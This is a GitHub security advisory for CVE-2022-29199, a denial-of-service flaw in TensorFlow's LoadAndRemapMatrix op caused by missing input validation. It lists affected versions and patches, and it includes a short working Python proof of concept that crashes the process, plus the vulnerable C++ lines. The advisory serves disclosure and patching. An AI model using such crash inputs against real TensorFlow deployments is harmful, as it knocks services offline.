GitHub Advisoryadvisory · PyPI
GHSA-p9rc-rmr5-529j Missing validation causes denial of service via `LoadAndRemapMatrix`
MEDIUM
Official page ↗
- Aliases
- CVE-2022-29199
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-20
- Reviewed
- 2022-05-24
Affected packages
• PyPI tensorflow: < 2.6.4 → fixed in 2.6.4
• PyPI tensorflow: >= 2.7.0, < 2.7.2 → fixed in 2.7.2
• PyPI tensorflow: >= 2.8.0, < 2.8.1 → fixed in 2.8.1
• PyPI tensorflow-cpu: < 2.6.4 → fixed in 2.6.4
• PyPI tensorflow-cpu: >= 2.7.0, < 2.7.2 → fixed in 2.7.2
• PyPI tensorflow-cpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1
• PyPI tensorflow-gpu: < 2.6.4 → fixed in 2.6.4
• PyPI tensorflow-gpu: >= 2.7.0, < 2.7.2 → fixed in 2.7.2
• PyPI tensorflow-gpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1
Description
Impact
The implementation of `tf.raw_ops.LoadAndRemapMatrix` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:
```python
import tensorflow as tf
ckpt_path = tf.constant(
"/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
old_tensor_name = tf.constant(
"/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
row_remapping = tf.constant(0, shape=[], dtype=tf.int64)
col_remapping = tf.constant(3, shape=[3], dtype=tf.int64)
initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32)
tf.raw_ops.LoadAndRemapMatrix(
ckpt_path=ckpt_path,
old_tensor_name=old_tensor_name,
row_remapping=row_remapping,
col_remapping=col_remapping,
initializing_values=initializing_values,
num_rows=1,
num_cols=1)
```
The code assumes `initializing_values` is a vector but there is no validation for this before accessing its value:
```cc
OP_REQUIRES_OK(context, context->input("row_remapping", &row_remapping_t));
const auto row_remapping = row_remapping_t->vec();
```
Patches
We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
Related
Alias · CVE (1)
- CVE-2022-29199 TensorFlow is an open source platform for machine learning. vulnerability
Weakness · CWE (1)
- CWE-20 Improper Input Validation weakness
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p9rc-rmr5-529j web
- https://nvd.nist.gov/vuln/detail/CVE-2022-29199 advisory
- https://github.com/tensorflow/tensorflow/commit/3150642acbbe254e3c3c5d2232143fa591855ac9 web
- https://github.com/tensorflow/tensorflow package
- https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/load_and_remap_matrix_op.cc#L70-L98 web
- https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4 web
- https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2 web
- https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1 web
- https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0 web